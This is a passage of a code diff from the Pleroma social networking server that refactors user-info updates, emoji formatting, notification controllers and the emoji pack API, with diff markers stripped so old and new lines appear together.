def render("activity_collection.json", %{iri: iri}) do
%{
"id" => iri,
"type" => "OrderedCollection",
"first" => "#{iri}?page=true"
}
params =
if max_qid != nil do
Map.put(params, "max_id", max_qid)
else
params
|> Map.merge(Utils.make_json_ld_header())
end
activities = ActivityPub.fetch_user_activities(user, nil, params)
def render("activity_collection_page.json", %{activities: activities, iri: iri}) do
# this is sorted chronologically, so first activity is the newest (max)
{max_id, min_id, collection} =
if length(activities) > 0 do
@ -243,71 +239,14 @@ defmodule Pleroma.Web.ActivityPub.UserView do
}
end
iri = "#{user.ap_id}/outbox"
page = %{
"id" => "#{iri}?max_id=#{max_id}",
%{
"id" => "#{iri}?max_id=#{max_id}&page=true",
"type" => "OrderedCollectionPage",
"partOf" => iri,
"orderedItems" => collection,
"next" => "#{iri}?max_id=#{min_id}"
}
if max_qid == nil do
%{
"id" => iri,
"type" => "OrderedCollection",
"first" => page
"next" => "#{iri}?max_id=#{min_id}&page=true"
}
|> Map.merge(Utils.make_json_ld_header())
else
page |> Map.merge(Utils.make_json_ld_header())
end
end
def render("inbox.json", %{user: user, max_id: max_qid}) do
params = %{
"limit" => "10"
}
params =
if max_qid != nil do
Map.put(params, "max_id", max_qid)
else
params
end
activities = ActivityPub.fetch_activities([user.ap_id | user.following], params)
min_id = Enum.at(Enum.reverse(activities), 0).id
max_id = Enum.at(activities, 0).id
collection =
Enum.map(activities, fn act ->
{:ok, data} = Transmogrifier.prepare_outgoing(act.data)
data
end)
iri = "#{user.ap_id}/inbox"
page = %{
"id" => "#{iri}?max_id=#{max_id}",
"type" => "OrderedCollectionPage",
"partOf" => iri,
"orderedItems" => collection,
"next" => "#{iri}?max_id=#{min_id}"
}
if max_qid == nil do
%{
"id" => iri,
"type" => "OrderedCollection",
"first" => page
}
|> Map.merge(Utils.make_json_ld_header())
else
page |> Map.merge(Utils.make_json_ld_header())
end
end
def collection(collection, iri, page, show_items \\ true, total \\ nil) do

View file

@ -18,7 +18,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do
alias Pleroma.Web.AdminAPI.ReportView
alias Pleroma.Web.AdminAPI.Search
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.Endpoint
alias Pleroma.Web.MastodonAPI.StatusView
alias Pleroma.Web.Router
import Pleroma.Web.ControllerHelper, only: [json_response: 3]
@ -254,18 +256,12 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do
"nickname" => nickname
})
when permission_group in ["moderator", "admin"] do
user = User.get_cached_by_nickname(nickname)
info = Map.put(%{}, "is_" <> permission_group, true)
info =
%{}
|> Map.put("is_" <> permission_group, true)
info_cng = User.Info.admin_api_update(user.info, info)
cng =
user
|> Ecto.Changeset.change()
|> Ecto.Changeset.put_embed(:info, info_cng)
{:ok, user} =
nickname
|> User.get_cached_by_nickname()
|> User.update_info(&User.Info.admin_api_update(&1, info))
ModerationLog.insert_log(%{
action: "grant",
@ -274,8 +270,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do
permission: permission_group
})
{:ok, _user} = User.update_and_set_cache(cng)
json(conn, info)
end
@ -293,30 +287,24 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do
})
end
def right_delete(%{assigns: %{user: %{nickname: nickname}}} = conn, %{"nickname" => nickname}) do
render_error(conn, :forbidden, "You can't revoke your own admin status.")
end
def right_delete(
%{assigns: %{user: %User{:nickname => admin_nickname} = admin}} = conn,
%{assigns: %{user: admin}} = conn,
%{
"permission_group" => permission_group,
"nickname" => nickname
}
)
when permission_group in ["moderator", "admin"] do
if admin_nickname == nickname do
render_error(conn, :forbidden, "You can't revoke your own admin status.")
else
user = User.get_cached_by_nickname(nickname)
info = Map.put(%{}, "is_" <> permission_group, false)
info =
%{}
|> Map.put("is_" <> permission_group, false)
info_cng = User.Info.admin_api_update(user.info, info)
cng =
Ecto.Changeset.change(user)
|> Ecto.Changeset.put_embed(:info, info_cng)
{:ok, _user} = User.update_and_set_cache(cng)
{:ok, user} =
nickname
|> User.get_cached_by_nickname()
|> User.update_info(&User.Info.admin_api_update(&1, info))
ModerationLog.insert_log(%{
action: "revoke",
@ -327,7 +315,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do
json(conn, info)
end
end
def right_delete(conn, _) do
render_error(conn, :not_found, "No such permission_group")
@ -450,7 +437,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do
{:ok, token} = Pleroma.PasswordResetToken.create_token(user)
conn
|> json(token.token)
|> json(%{
token: token.token,
link: Router.Helpers.reset_password_url(Endpoint, :reset, token.token)
})
end
@doc "Force password reset for a given user"
@ -463,13 +453,17 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do
end
def list_reports(conn, params) do
{page, page_size} = page_params(params)
params =
params
|> Map.put("type", "Flag")
|> Map.put("skip_preload", true)
|> Map.put("total", true)
|> Map.put("limit", page_size)
|> Map.put("offset", (page - 1) * page_size)
reports = ActivityPub.fetch_activities([], params)
reports = ActivityPub.fetch_activities([], params, :offset)
conn
|> put_view(ReportView)

View file

@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do
alias Pleroma.Activity
alias Pleroma.ActivityExpiration
alias Pleroma.Conversation.Participation
alias Pleroma.Formatter
alias Pleroma.Emoji
alias Pleroma.Object
alias Pleroma.ThreadMute
alias Pleroma.User
@ -261,12 +261,7 @@ defmodule Pleroma.Web.CommonAPI do
sensitive,
poll
),
object <-
Map.put(
object,
"emoji",
Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji)
) do
object <- put_emoji(object, full_payload, poll_emoji) do
preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false
direct? = visibility == "direct"
@ -300,18 +295,25 @@ defmodule Pleroma.Web.CommonAPI do
end
end
# parse and put emoji to object data
defp put_emoji(map, text, emojis) do
Map.put(
map,
"emoji",
Map.merge(Emoji.Formatter.get_emoji_map(text), emojis)
)
end
# Updates the emojis for a user based on their profile
def update(user) do
emoji = emoji_from_profile(user)
source_data = user.info |> Map.get(:source_data, {}) |> Map.put("tag", emoji)
user =
with emoji <- emoji_from_profile(user),
source_data <- (user.info.source_data || %{}) |> Map.put("tag", emoji),
info_cng <- User.Info.set_source_data(user.info, source_data),
change <- Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_cng),
{:ok, user} <- User.update_and_set_cache(change) do
with {:ok, user} <- User.update_info(user, &User.Info.set_source_data(&1, source_data)) do
user
else
_e ->
user
_e -> user
end
ActivityPub.update(%{
@ -336,34 +338,21 @@ defmodule Pleroma.Web.CommonAPI do
}
} = activity <- get_by_id_or_ap_id(id_or_ap_id),
true <- Visibility.is_public?(activity),
%{valid?: true} = info_changeset <- User.Info.add_pinnned_activity(user.info, activity),
changeset <-
Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset),
{:ok, _user} <- User.update_and_set_cache(changeset) do
{:ok, _user} <- User.update_info(user, &User.Info.add_pinnned_activity(&1, activity)) do
{:ok, activity}
else
%{errors: [pinned_activities: {err, _}]} ->
{:error, err}
_ ->
{:error, dgettext("errors", "Could not pin")}
{:error, %{changes: %{info: %{errors: [pinned_activities: {err, _}]}}}} -> {:error, err}
_ -> {:error, dgettext("errors", "Could not pin")}
end
end
def unpin(id_or_ap_id, user) do
with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id),
%{valid?: true} = info_changeset <-
User.Info.remove_pinnned_activity(user.info, activity),
changeset <-
Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset),
{:ok, _user} <- User.update_and_set_cache(changeset) do
{:ok, _user} <- User.update_info(user, &User.Info.remove_pinnned_activity(&1, activity)) do
{:ok, activity}
else
%{errors: [pinned_activities: {err, _}]} ->
{:error, err}
_ ->
{:error, dgettext("errors", "Could not unpin")}
%{errors: [pinned_activities: {err, _}]} -> {:error, err}
_ -> {:error, dgettext("errors", "Could not unpin")}
end
end
@ -458,23 +447,15 @@ defmodule Pleroma.Web.CommonAPI do
defp set_visibility(activity, _), do: {:ok, activity}
def hide_reblogs(user, muted) do
ap_id = muted.ap_id
def hide_reblogs(user, %{ap_id: ap_id} = _muted) do
if ap_id not in user.info.muted_reblogs do
info_changeset = User.Info.add_reblog_mute(user.info, ap_id)
changeset = Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset)
User.update_and_set_cache(changeset)
User.update_info(user, &User.Info.add_reblog_mute(&1, ap_id))
end
end
def show_reblogs(user, muted) do
ap_id = muted.ap_id
def show_reblogs(user, %{ap_id: ap_id} = _muted) do
if ap_id in user.info.muted_reblogs do
info_changeset = User.Info.remove_reblog_mute(user.info, ap_id)
changeset = Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset)
User.update_and_set_cache(changeset)
User.update_info(user, &User.Info.remove_reblog_mute(&1, ap_id))
end
end
end

View file

@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
alias Pleroma.Activity
alias Pleroma.Config
alias Pleroma.Conversation.Participation
alias Pleroma.Emoji
alias Pleroma.Formatter
alias Pleroma.Object
alias Pleroma.Plugs.AuthenticationPlug
@ -25,7 +26,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
# This is a hack for twidere.
def get_by_id_or_ap_id(id) do
activity =
with true <- Pleroma.FlakeId.is_flake_id?(id),
with true <- FlakeId.flake_id?(id),
%Activity{} = activity <- Activity.get_by_id_with_object(id) do
activity
else
@ -184,7 +185,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
"name" => option,
"type" => "Note",
"replies" => %{"type" => "Collection", "totalItems" => 0}
}, Map.merge(emoji, Formatter.get_emoji_map(option))}
}, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))}
end)
case expires_in do
@ -434,8 +435,8 @@ defmodule Pleroma.Web.CommonAPI.Utils do
end
def emoji_from_profile(%{info: _info} = user) do
(Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name))
|> Enum.map(fn {shortcode, url, _} ->
(Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
|> Enum.map(fn {shortcode, %Emoji{file: url}} ->
%{
"type" => "Emoji",
"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},

View file

@ -13,10 +13,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
alias Pleroma.Bookmark
alias Pleroma.Config
alias Pleroma.Conversation.Participation
alias Pleroma.Emoji
alias Pleroma.Filter
alias Pleroma.Formatter
alias Pleroma.HTTP
alias Pleroma.Notification
alias Pleroma.Object
alias Pleroma.Pagination
alias Pleroma.Plugs.RateLimiter
@ -35,7 +34,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
alias Pleroma.Web.MastodonAPI.ListView
alias Pleroma.Web.MastodonAPI.MastodonAPI
alias Pleroma.Web.MastodonAPI.MastodonView
alias Pleroma.Web.MastodonAPI.NotificationView
alias Pleroma.Web.MastodonAPI.ReportView
alias Pleroma.Web.MastodonAPI.ScheduledActivityView
alias Pleroma.Web.MastodonAPI.StatusView
@ -141,7 +139,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
user_info_emojis =
user.info
|> Map.get(:emoji, [])
|> Enum.concat(Formatter.get_emoji_map(emojis_text))
|> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text))
|> Enum.dedup()
info_params =
@ -154,7 +152,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
:hide_follows,
:hide_favorites,
:show_role,
:skip_thread_containment
:skip_thread_containment,
:discoverable
]
|> Enum.reduce(%{}, fn key, acc ->
add_if_present(acc, params, to_string(key), key, fn value ->
@ -189,14 +188,13 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
end)
|> Map.put(:emoji, user_info_emojis)
info_cng = User.Info.profile_update(user.info, info_params)
changeset =
user
|> User.update_changeset(user_params)
|> User.change_info(&User.Info.profile_update(&1, info_params))
with changeset <- User.update_changeset(user, user_params),
changeset <- Changeset.put_embed(changeset, :info, info_cng),
{:ok, user} <- User.update_and_set_cache(changeset) do
if original_user != user do
CommonAPI.update(user)
end
with {:ok, user} <- User.update_and_set_cache(changeset) do
if original_user != user, do: CommonAPI.update(user)
json(
conn,
@ -226,12 +224,10 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
end
def update_banner(%{assigns: %{user: user}} = conn, %{"banner" => ""}) do
with new_info <- %{"banner" => %{}},
info_cng <- User.Info.profile_update(user.info, new_info),
changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng),
{:ok, user} <- User.update_and_set_cache(changeset) do
CommonAPI.update(user)
new_info = %{"banner" => %{}}
with {:ok, user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do
CommonAPI.update(user)
json(conn, %{url: nil})
end
end
@ -239,9 +235,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
def update_banner(%{assigns: %{user: user}} = conn, params) do
with {:ok, object} <- ActivityPub.upload(%{"img" => params["banner"]}, type: :banner),
new_info <- %{"banner" => object.data},
info_cng <- User.Info.profile_update(user.info, new_info),
changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng),
{:ok, user} <- User.update_and_set_cache(changeset) do
{:ok, user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do
CommonAPI.update(user)
%{"url" => [%{"href" => href} | _]} = object.data
@ -250,10 +244,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
end
def update_background(%{assigns: %{user: user}} = conn, %{"img" => ""}) do
with new_info <- %{"background" => %{}},
info_cng <- User.Info.profile_update(user.info, new_info),
changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng),
{:ok, _user} <- User.update_and_set_cache(changeset) do
new_info = %{"background" => %{}}
with {:ok, _user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do
json(conn, %{url: nil})
end
end
@ -261,9 +254,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
def update_background(%{assigns: %{user: user}} = conn, params) do
with {:ok, object} <- ActivityPub.upload(params, type: :background),
new_info <- %{"background" => object.data},
info_cng <- User.Info.profile_update(user.info, new_info),
changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng),
{:ok, _user} <- User.update_and_set_cache(changeset) do
{:ok, _user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do
%{"url" => [%{"href" => href} | _]} = object.data
json(conn, %{url: href})
@ -334,7 +325,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
defp mastodonized_emoji do
Pleroma.Emoji.get_all()
|> Enum.map(fn {shortcode, relative_url, tags} ->
|> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} ->
url = to_string(URI.merge(Web.base_url(), relative_url))
%{
@ -721,49 +712,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
end
end
def notifications(%{assigns: %{user: user}} = conn, params) do
notifications = MastodonAPI.get_notifications(user, params)
conn
|> add_link_headers(notifications)
|> put_view(NotificationView)
|> render("index.json", %{notifications: notifications, for: user})
end
def get_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do
with {:ok, notification} <- Notification.get(user, id) do
conn
|> put_view(NotificationView)
|> render("show.json", %{notification: notification, for: user})
else
{:error, reason} ->
conn
|> put_status(:forbidden)
|> json(%{"error" => reason})
end
end
def clear_notifications(%{assigns: %{user: user}} = conn, _params) do
Notification.clear(user)
json(conn, %{})
end
def dismiss_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do
with {:ok, _notif} <- Notification.dismiss(user, id) do
json(conn, %{})
else
{:error, reason} ->
conn
|> put_status(:forbidden)
|> json(%{"error" => reason})
end
end
def destroy_multiple(%{assigns: %{user: user}} = conn, %{"ids" => ids} = _params) do
Notification.destroy_multiple(user, ids)
json(conn, %{})
end
def relationships(%{assigns: %{user: user}} = conn, %{"id" => id}) do
targets = User.get_all_by_ids(List.wrap(id))
@ -811,16 +759,16 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
def set_mascot(%{assigns: %{user: user}} = conn, %{"file" => file}) do
with {:ok, object} <- ActivityPub.upload(file, actor: User.ap_id(user)),
%{} = attachment_data <- Map.put(object.data, "id", object.id),
# Reject if not an image
%{type: "image"} = rendered <-
StatusView.render("attachment.json", %{attachment: attachment_data}),
{:ok, _user} = User.update_mascot(user, rendered) do
StatusView.render("attachment.json", %{attachment: attachment_data}) do
# Sure!
# Save to the user's info
{:ok, _user} = User.update_info(user, &User.Info.mascot_update(&1, rendered))
json(conn, rendered)
else
%{type: _type} = _ ->
render_error(conn, :unsupported_media_type, "mascots can only be images")
e ->
e
%{type: _} -> render_error(conn, :unsupported_media_type, "mascots can only be images")
end
end
@ -942,12 +890,12 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
end
def follow_requests(%{assigns: %{user: followed}} = conn, _params) do
with {:ok, follow_requests} <- User.get_follow_requests(followed) do
follow_requests = User.get_follow_requests(followed)
conn
|> put_view(AccountView)
|> render("accounts.json", %{for: followed, users: follow_requests, as: :user})
end
end
def authorize_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do
with %User{} = follower <- User.get_cached_by_id(id),
@ -1348,11 +1296,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
end
def put_settings(%{assigns: %{user: user}} = conn, %{"data" => settings} = _params) do
info_cng = User.Info.mastodon_settings_update(user.info, settings)
with changeset <- Changeset.change(user),
changeset <- Changeset.put_embed(changeset, :info, info_cng),
{:ok, _user} <- User.update_and_set_cache(changeset) do
with {:ok, _} <- User.update_info(user, &User.Info.mastodon_settings_update(&1, settings)) do
json(conn, %{})
else
e ->

View file

@ -0,0 +1,57 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.NotificationController do
use Pleroma.Web, :controller
import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2]
alias Pleroma.Notification
alias Pleroma.Web.MastodonAPI.MastodonAPI
# GET /api/v1/notifications
def index(%{assigns: %{user: user}} = conn, params) do
notifications = MastodonAPI.get_notifications(user, params)
conn
|> add_link_headers(notifications)
|> render("index.json", notifications: notifications, for: user)
end
# GET /api/v1/notifications/:id
def show(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with {:ok, notification} <- Notification.get(user, id) do
render(conn, "show.json", notification: notification, for: user)
else
{:error, reason} ->
conn
|> put_status(:forbidden)
|> json(%{"error" => reason})
end
end
# POST /api/v1/notifications/clear
def clear(%{assigns: %{user: user}} = conn, _params) do
Notification.clear(user)
json(conn, %{})
end
# POST /api/v1/notifications/dismiss
def dismiss(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do
with {:ok, _notif} <- Notification.dismiss(user, id) do
json(conn, %{})
else
{:error, reason} ->
conn
|> put_status(:forbidden)
|> json(%{"error" => reason})
end
end
# DELETE /api/v1/notifications/destroy_multiple
def destroy_multiple(%{assigns: %{user: user}} = conn, %{"ids" => ids} = _params) do
Notification.destroy_multiple(user, ids)
json(conn, %{})
end
end

View file

@ -116,6 +116,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountView do
bio = HTML.filter_tags(user.bio, User.html_filter_policy(opts[:for]))
relationship = render("relationship.json", %{user: opts[:for], target: user})
discoverable = user.info.discoverable
%{
id: to_string(user.id),
username: username_from_nickname(user.nickname),
@ -139,7 +141,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountView do
note: HTML.strip_tags((user.bio || "") |> String.replace("<br>", "\n")),
sensitive: false,
fields: raw_fields,
pleroma: %{}
pleroma: %{
discoverable: discoverable
}
},
# Pleroma extension

View file

@ -3,6 +3,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Metadata.Utils do
alias Pleroma.Emoji
alias Pleroma.Formatter
alias Pleroma.HTML
alias Pleroma.Web.MediaProxy
@ -13,7 +14,7 @@ defmodule Pleroma.Web.Metadata.Utils do
|> HtmlEntities.decode()
|> String.replace(~r/<br\s?\/?>/, " ")
|> HTML.get_cached_stripped_html_for_activity(object, "metadata")
|> Formatter.demojify()
|> Emoji.Formatter.demojify()
|> Formatter.truncate()
end
@ -23,7 +24,7 @@ defmodule Pleroma.Web.Metadata.Utils do
|> HtmlEntities.decode()
|> String.replace(~r/<br\s?\/?>/, " ")
|> HTML.strip_tags()
|> Formatter.demojify()
|> Emoji.Formatter.demojify()
|> Formatter.truncate(max_length)
end

View file

@ -20,7 +20,7 @@ defmodule Pleroma.Web.OAuth.Authorization do
field(:scopes, {:array, :string}, default: [])
field(:valid_until, :naive_datetime_usec)
field(:used, :boolean, default: false)
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
belongs_to(:app, App)
timestamps()

View file

@ -21,7 +21,7 @@ defmodule Pleroma.Web.OAuth.Token do
field(:refresh_token, :string)
field(:scopes, {:array, :string}, default: [])
field(:valid_until, :naive_datetime_usec)
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
belongs_to(:app, App)
timestamps()

View file

@ -3,12 +3,33 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
require Logger
@emoji_dir_path Path.join(
def emoji_dir_path do
Path.join(
Pleroma.Config.get!([:instance, :static_dir]),
"emoji"
)
end
@cache_seconds_per_file Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file])
@doc """
Lists packs from the remote instance.
Since JS cannot ask remote instances for their packs due to CPS, it has to
be done by the server
"""
def list_from(conn, %{"instance_address" => address}) do
address = String.trim(address)
if shareable_packs_available(address) do
list_resp =
"#{address}/api/pleroma/emoji/packs" |> Tesla.get!() |> Map.get(:body) |> Jason.decode!()
json(conn, list_resp)
else
conn
|> put_status(:internal_server_error)
|> json(%{error: "The requested instance does not support sharing emoji packs"})
end
end
@doc """
Lists the packs available on the instance as JSON.
@ -17,7 +38,10 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
a map of "pack directory name" to pack.json contents.
"""
def list_packs(conn, _params) do
with {:ok, results} <- File.ls(@emoji_dir_path) do
# Create the directory first if it does not exist. This is probably the first request made
# with the API so it should be sufficient
with {:create_dir, :ok} <- {:create_dir, File.mkdir_p(emoji_dir_path())},
{:ls, {:ok, results}} <- {:ls, File.ls(emoji_dir_path())} do
pack_infos =
results
|> Enum.filter(&has_pack_json?/1)
@ -28,24 +52,37 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
|> Enum.into(%{})
json(conn, pack_infos)
else
{:create_dir, {:error, e}} ->
conn
|> put_status(:internal_server_error)
|> json(%{error: "Failed to create the emoji pack directory at #{emoji_dir_path()}: #{e}"})
{:ls, {:error, e}} ->
conn
|> put_status(:internal_server_error)
|> json(%{
error:
"Failed to get the contents of the emoji pack directory at #{emoji_dir_path()}: #{e}"
})
end
end
defp has_pack_json?(file) do
dir_path = Path.join(@emoji_dir_path, file)
dir_path = Path.join(emoji_dir_path(), file)
# Filter to only use the pack.json packs
File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.json"))
end
defp load_pack(pack_name) do
pack_path = Path.join(@emoji_dir_path, pack_name)
pack_path = Path.join(emoji_dir_path(), pack_name)
pack_file = Path.join(pack_path, "pack.json")
{pack_name, Jason.decode!(File.read!(pack_file))}
end
defp validate_pack({name, pack}) do
pack_path = Path.join(@emoji_dir_path, name)
pack_path = Path.join(emoji_dir_path(), name)
if can_download?(pack, pack_path) do
archive_for_sha = make_archive(name, pack, pack_path)
@ -79,7 +116,8 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
{:ok, {_, zip_result}} = :zip.zip('#{name}.zip', files, [:memory, cwd: to_charlist(pack_dir)])
cache_ms = :timer.seconds(@cache_seconds_per_file * Enum.count(files))
cache_seconds_per_file = Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file])
cache_ms = :timer.seconds(cache_seconds_per_file * Enum.count(files))
Cachex.put!(
:emoji_packs_cache,
@ -115,7 +153,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
to download packs that the instance shares.
"""
def download_shared(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
pack_dir = Path.join(emoji_dir_path(), name)
pack_file = Path.join(pack_dir, "pack.json")
with {_, true} <- {:exists?, File.exists?(pack_file)},
@ -139,19 +177,12 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
end
end
@doc """
An admin endpoint to request downloading a pack named `pack_name` from the instance
`instance_address`.
If the requested instance's admin chose to share the pack, it will be downloaded
from that instance, otherwise it will be downloaded from the fallback source, if there is one.
"""
def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do
shareable_packs_available =
defp shareable_packs_available(address) do
"#{address}/.well-known/nodeinfo"
|> Tesla.get!()
|> Map.get(:body)
|> Jason.decode!()
|> Map.get("links")
|> List.last()
|> Map.get("href")
# Get the actual nodeinfo address and fetch it
@ -160,8 +191,19 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
|> Jason.decode!()
|> get_in(["metadata", "features"])
|> Enum.member?("shareable_emoji_packs")
end
if shareable_packs_available do
@doc """
An admin endpoint to request downloading a pack named `pack_name` from the instance
`instance_address`.
If the requested instance's admin chose to share the pack, it will be downloaded
from that instance, otherwise it will be downloaded from the fallback source, if there is one.
"""
def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do
address = String.trim(address)
if shareable_packs_available(address) do
full_pack =
"#{address}/api/pleroma/emoji/packs/list"
|> Tesla.get!()
@ -195,7 +237,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
%{body: emoji_archive} <- Tesla.get!(uri),
{_, true} <- {:checksum, Base.decode16!(sha) == :crypto.hash(:sha256, emoji_archive)} do
local_name = data["as"] || name
pack_dir = Path.join(@emoji_dir_path, local_name)
pack_dir = Path.join(emoji_dir_path(), local_name)
File.mkdir_p!(pack_dir)
files = Enum.map(full_pack["files"], fn {_, path} -> to_charlist(path) end)
@ -233,7 +275,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
Creates an empty pack named `name` which then can be updated via the admin UI.
"""
def create(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
pack_dir = Path.join(emoji_dir_path(), name)
if not File.exists?(pack_dir) do
File.mkdir_p!(pack_dir)
@ -257,7 +299,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
Deletes the pack `name` and all it's files.
"""
def delete(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
pack_dir = Path.join(emoji_dir_path(), name)
case File.rm_rf(pack_dir) do
{:ok, _} ->
@ -276,7 +318,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
`new_data` is the new metadata for the pack, that will replace the old metadata.
"""
def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do
pack_file_p = Path.join([@emoji_dir_path, name, "pack.json"])
pack_file_p = Path.join([emoji_dir_path(), name, "pack.json"])
full_pack = Jason.decode!(File.read!(pack_file_p))
@ -360,7 +402,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
conn,
%{"pack_name" => pack_name, "action" => "add", "shortcode" => shortcode} = params
) do
pack_dir = Path.join(@emoji_dir_path, pack_name)
pack_dir = Path.join(emoji_dir_path(), pack_name)
pack_file_p = Path.join(pack_dir, "pack.json")
full_pack = Jason.decode!(File.read!(pack_file_p))
@ -408,7 +450,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
"action" => "remove",
"shortcode" => shortcode
}) do
pack_dir = Path.join(@emoji_dir_path, pack_name)
pack_dir = Path.join(emoji_dir_path(), pack_name)
pack_file_p = Path.join(pack_dir, "pack.json")
full_pack = Jason.decode!(File.read!(pack_file_p))
@ -443,7 +485,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
conn,
%{"pack_name" => pack_name, "action" => "update", "shortcode" => shortcode} = params
) do
pack_dir = Path.join(@emoji_dir_path, pack_name)
pack_dir = Path.join(emoji_dir_path(), pack_name)
pack_file_p = Path.join(pack_dir, "pack.json")
full_pack = Jason.decode!(File.read!(pack_file_p))
@ -513,11 +555,11 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
assumed to be emojis and stored in the new `pack.json` file.
"""
def import_from_fs(conn, _params) do
with {:ok, results} <- File.ls(@emoji_dir_path) do
with {:ok, results} <- File.ls(emoji_dir_path()) do
imported_pack_names =
results
|> Enum.filter(fn file ->
dir_path = Path.join(@emoji_dir_path, file)
dir_path = Path.join(emoji_dir_path(), file)
# Find the directories that do NOT have pack.json
File.dir?(dir_path) and not File.exists?(Path.join(dir_path, "pack.json"))
end)
@ -533,7 +575,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
end
defp write_pack_json_contents(dir) do
dir_path = Path.join(@emoji_dir_path, dir)
dir_path = Path.join(emoji_dir_path(), dir)
emoji_txt_path = Path.join(dir_path, "emoji.txt")
files_for_pack = files_for_pack(emoji_txt_path, dir_path)
@ -569,7 +611,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
# If there's no emoji.txt, assume all files
# that are of certain extensions from the config are emojis and import them all
pack_extensions = Pleroma.Config.get!([:emoji, :pack_extensions])
Pleroma.Emoji.make_shortcode_to_file_map(dir_path, pack_extensions)
Pleroma.Emoji.Loader.make_shortcode_to_file_map(dir_path, pack_extensions)
end
end
end

View file

@ -15,7 +15,7 @@ defmodule Pleroma.Web.Push.Subscription do
@type t :: %__MODULE__{}
schema "push_subscriptions" do
belongs_to(:user, User, type: Pleroma.FlakeId)
